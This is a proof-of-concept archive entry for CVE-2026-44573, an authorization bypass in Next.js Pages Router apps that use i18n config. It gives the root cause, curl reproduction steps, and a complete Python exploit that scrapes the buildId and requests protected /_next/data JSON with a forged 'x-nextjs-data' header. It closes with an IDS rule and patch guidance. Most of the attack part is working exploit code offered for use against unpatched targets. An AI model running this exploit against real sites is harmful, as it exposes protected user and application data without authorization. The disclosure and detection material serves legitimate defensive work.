PoC Archive PoC Archive
High CVE-2026-44573 unpatched

Next.js i18n Middleware Bypass (CVE-2026-44573)

by dwisiswant0 · 2026-05-17

CVSS 7.5/10
Severity
High
CVE
CVE-2026-44573
Category
web
Affected product
Next.js Pages Router with i18n configuration
Affected versions
Next.js 12.2.0 - 15.5.15 and 16.0.0 - 16.2.4
Disclosed
2026-05-17
Patch status
unpatched

Metadata

FieldValue
Date Added2026-05-17
Last Updated2026-05-08
Author / Researcherdwisiswant0
CVE / AdvisoryCVE-2026-44573
Categoryweb
SeverityHigh
CVSS Score7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
StatusWeaponized
Tagsmiddleware-bypass, i18n, _next/data, Pages-Router, authorization-bypass, information-disclosure, Next.js, unauthenticated
RelatedN/A

Affected Target

FieldValue
Software / SystemNext.js Pages Router with i18n configuration
Versions AffectedNext.js 12.2.0 - 15.5.15 and 16.0.0 - 16.2.4
Language / PlatformJavaScript / Node.js
Authentication RequiredNo
Network Access RequiredYes

Summary

CVE-2026-44573 is an authorization bypass in Next.js Pages Router applications that use the i18n configuration. The middleware matcher regex’s i18n branch does not correctly cover all locale-prefix permutations of _next/data/<buildId>/<page>.json URLs. As a result, requesting the no-locale or wrong-locale variant of a data URL bypasses middleware entirely, allowing unauthenticated retrieval of getServerSideProps JSON payloads for pages that middleware was supposed to protect. The buildId required for the attack is trivially discoverable from any public HTML response. Rated CVSS 7.5 High with no known active exploitation.


Vulnerability Details

Root Cause

getMiddlewareMatchers in Next.js compiled a middleware matcher regex that recognised (_next/data/[^/]{1,})? as a prefix but its i18n handling branch only processed the locale-prefixed data URL shape (/<buildId>/<locale>/<page>.json). The no-locale form (/<buildId>/<page>.json) and the form with a non-default locale did not re-trigger the middleware match. Additionally, x-nextjs-data was trusted as an inbound header, allowing the inner server to be told the request was a data request regardless of the resolved pathname. The patch cluster (6fd09bf8ab and adjacent commits) widened the matcher to cover all locale-prefixed data variants, moved setIsNextDataRequest() to trigger on the resolved pathname, and added x-nextjs-data to the INTERNAL_HEADERS strip list.

Attack Vector

Attacker discovers the buildId from any public HTML response (__NEXT_DATA__.buildId) and sends a GET /_next/data/<buildId>/<protectedPage>.json request (no locale segment) with x-nextjs-data: 1 header to a Next.js i18n Pages Router application. Middleware is not invoked, and the server renders and returns the getServerSideProps JSON payload for the protected page.

Impact

Authorization bypass - Pages Router middleware that gates pages by pathname is fully circumvented for the JSON data variant. Unauthenticated information disclosure of getServerSideProps props (serialized to JSON). Potential cache poisoning once the bypass response is stored at CDN level.


Environment / Lab Setup

OS:          Linux / macOS / Windows
Target:      Next.js 12.2.0 - 15.5.15 or 16.0.0 - 16.2.4 with i18n config and middleware auth
Attacker:    Any host able to send crafted HTTP GET requests
Tools:       python3, bash, curl

Setup Steps

1
2
3
4
5
6
7
git clone https://github.com/dwisiswant0/next-16.2.4-pocs.git
cd next-16.2.4-pocs/poc/CVE-2026-44573_GHSA-36qx-fr4f-26g5

TARGET=http://localhost:3000 \
PROTECTED_PATH=/secret \
DEFAULT_LOCALE=en \
python3 exploit.py

Proof of Concept

Step-by-Step Reproduction

  1. Discover buildId from the public homepage HTML.

    1
    2
    
    curl -s http://target/ | grep -o '"buildId":"[^"]*"' | head -1
    # Returns: "buildId":"abc123xyz"
    
  2. Confirm baseline is blocked - canonical protected path returns redirect.

    1
    2
    
    curl -i http://target/secret
    # Expect: HTTP/1.1 307  Location: /login
    
  3. Send bypass request - no-locale data URL with x-nextjs-data header.

    1
    2
    3
    4
    
    curl -i -H 'x-nextjs-data: 1' \
      "http://target/_next/data/abc123xyz/secret.json"
    # Vulnerable: HTTP/1.1 200  Content-Type: application/json  (contains secret props)
    # Patched:    HTTP/1.1 307  Location: /login
    

Exploit Code

See exploit.py and exploit.sh in this folder.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
import re, urllib.request, urllib.error

TARGET = "http://target"

with urllib.request.urlopen(TARGET + "/") as r:
    text = r.read().decode()
build_id = re.search(r'"buildId"\s*:\s*"([^"]+)"', text).group(1)

req = urllib.request.Request(
    f"{TARGET}/_next/data/{build_id}/secret.json",
    headers={"x-nextjs-data": "1"}, method="GET"
)
class NoRedirect(urllib.request.HTTPRedirectHandler):
    def redirect_request(self, *a, **kw): return None
with urllib.request.build_opener(NoRedirect()).open(req) as r:
    print(r.status, r.read(500))

Expected Output

x VULNERABLE — variant A: data-route returned the protected JSON payload (sentinel 'SECRET_PROPS_FLAG' present).

>>> RESULT: PASS (vulnerability reproduced) <<<

Screenshots / Evidence

  • screenshots/ - add response captures showing unprotected JSON payload returned for middleware-gated path

Detection & Indicators of Compromise

GET /_next/data/<buildId>/<page>.json  x-nextjs-data: 1

SIEM / IDS Rule (example):

alert http any any -> $HTTP_SERVERS any (
  msg:"Possible CVE-2026-44573 i18n data-route middleware bypass";
  content:"/_next/data/"; http_uri;
  content:"x-nextjs-data|3a|"; http_header;
  pcre:"/\/_next\/data\/[^\/]+\/[^\/]+\.json/U";
  sid:900044573; rev:1;
)

Remediation

ActionDetail
PatchUpgrade Next.js to 15.5.16 or 16.2.5+
WorkaroundEnforce auth inside getServerSideProps itself; never rely on middleware as the sole gate for sensitive pages
Config HardeningStrip x-nextjs-data and block _next/data/<buildId>/... requests at CDN/WAF for paths that require authentication

References


Notes

Auto-ingested from https://github.com/dwisiswant0/next-16.2.4-pocs on 2026-05-17.

No known active exploitation at time of disclosure. The fix for this CVE shares patch infrastructure with CVE-2026-44572 (x-nextjs-data header stripping in server-ipc/utils.ts) and CVE-2026-44575 (matcher regex widening). Defenders should note that the buildId is not a secret - it is embedded in every HTML response - so treating it as an access control boundary provides no protection. Issue tracked as #52.

exploit.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
#!/usr/bin/env python3
"""
CVE-2026-44573 / GHSA-36qx-fr4f-26g5
i18n Pages-Router /_next/data/<buildId>/<page>.json middleware bypass
=====================================================================

Usage:  TARGET=http://localhost:3000 python3 exploit.py
        BUILD_ID=<override> TARGET=... python3 exploit.py

Attack model
------------
Pages-Router apps with `i18n` config expose every page at:
    /_next/data/<buildId>/<locale>/<page>.json

On vulnerable Next.js the middleware matcher's i18n branch only recognises
that *locale-prefixed* shape. The no-locale variant
    /_next/data/<buildId>/<page>.json
slips through the matcher -> middleware is not invoked -> the JSON
`getServerSideProps` payload is rendered for clients that should have been
gated.
"""

import os
import re
import sys
import urllib.request
import urllib.error

R, G, Y, B, N = "\033[0;31m", "\033[0;32m", "\033[1;33m", "\033[0;34m", "\033[0m"

SENTINEL = "SECRET_PROPS_FLAG"


class NoRedirect(urllib.request.HTTPRedirectHandler):
    def redirect_request(self, *_a, **_kw):
        return None


def fetch(url, headers=None, timeout=15):
    headers = headers or {}
    req = urllib.request.Request(url, headers=headers, method="GET")
    opener = urllib.request.build_opener(NoRedirect())
    try:
        with opener.open(req, timeout=timeout) as resp:
            return resp.status, dict(resp.getheaders()), resp.read(200_000)
    except urllib.error.HTTPError as e:
        return e.code, dict(e.headers), e.read(200_000)
    except Exception as e:  # noqa: BLE001
        print(f"{R}  network error: {e}{N}")
        return 0, {}, b""


def header(d, name):
    for k, v in d.items():
        if k.lower() == name.lower():
            return v
    return ""


def discover_build_id(target):
    """Scrape the buildId out of __NEXT_DATA__ on the homepage."""
    code, _h, body = fetch(target + "/")
    text = body.decode("utf-8", "replace")
    m = re.search(r'"buildId"\s*:\s*"([^"]+)"', text)
    return m.group(1) if m else None


def main():
    target = os.environ.get("TARGET", "http://localhost:3000").rstrip("/")
    protected = os.environ.get("PROTECTED_PATH", "/secret")
    default_locale = os.environ.get("DEFAULT_LOCALE", "en")
    build_id = os.environ.get("BUILD_ID") or discover_build_id(target)

    print(f"{B}{'=' * 66}{N}")
    print(f"{B} CVE-2026-44573 — Pages-Router i18n data-route middleware bypass {N}")
    print(f"{B}{'=' * 66}{N}")
    print(f" Target           : {target}")
    print(f" Protected path   : {protected}")
    print(f" Default locale   : {default_locale}")
    print(f" buildId          : {build_id or '(NOT FOUND — set BUILD_ID env var)'}\n")

    if not build_id:
        sys.exit(2)

    # ---- step 2 — baseline ---------------------------------------------
    print(f"{Y}[2/4] Baseline — canonical GET {protected}{N}")
    code, h, _ = fetch(target + protected)
    print(f"  HTTP {code}   Location: {header(h, 'location') or '(none)'}\n")

    # ---- step 3 — bypass attempts --------------------------------------
    print(f"{Y}[3/4] Bypass — _next/data without locale prefix{N}")
    url_a = f"/_next/data/{build_id}{protected}.json"
    url_b = f"/_next/data/{build_id}/{default_locale}{protected}.json"

    print(f"  GET {url_a}")
    a_code, a_h, a_body = fetch(target + url_a, headers={
        # `x-nextjs-data: 1` makes the inner Next server treat the request as
        # a Pages-Router data request even when the matcher's locale logic
        # would otherwise rewrite the URL.
        "x-nextjs-data": "1",
    })
    a_text = a_body.decode("utf-8", "replace")
    print(f"  HTTP {a_code}   Content-Type: {header(a_h, 'content-type')}")
    if header(a_h, "location"):
        print(f"  Location: {header(a_h, 'location')}")

    print(f"  GET {url_b}")
    b_code, b_h, b_body = fetch(target + url_b, headers={
        "x-nextjs-data": "1",
    })
    b_text = b_body.decode("utf-8", "replace")
    print(f"  HTTP {b_code}   Content-Type: {header(b_h, 'content-type')}")
    if header(b_h, "location"):
        print(f"  Location: {header(b_h, 'location')}")
    print()

    # ---- step 4 — verdict ----------------------------------------------
    print(f"{Y}[4/4] Verdict{N}")
    vuln = False
    for tag, code, text in (("A", a_code, a_text), ("B", b_code, b_text)):
        if code == 200 and SENTINEL in text:
            print(f"  {R}x VULNERABLE — variant {tag}: data-route returned the"
                  f" protected JSON payload (sentinel '{SENTINEL}' present).{N}")
            vuln = True

    if vuln:
        print(f"\n{R}>>> RESULT: PASS (vulnerability reproduced) <<<{N}")
        sys.exit(0)

    print(f"  {G}v PATCHED — data-route variants were redirected/blocked.{N}")
    print(f"\n{G}>>> RESULT: FAIL (target appears patched >= v16.2.5) <<<{N}")
    sys.exit(1)


if __name__ == "__main__":
    main()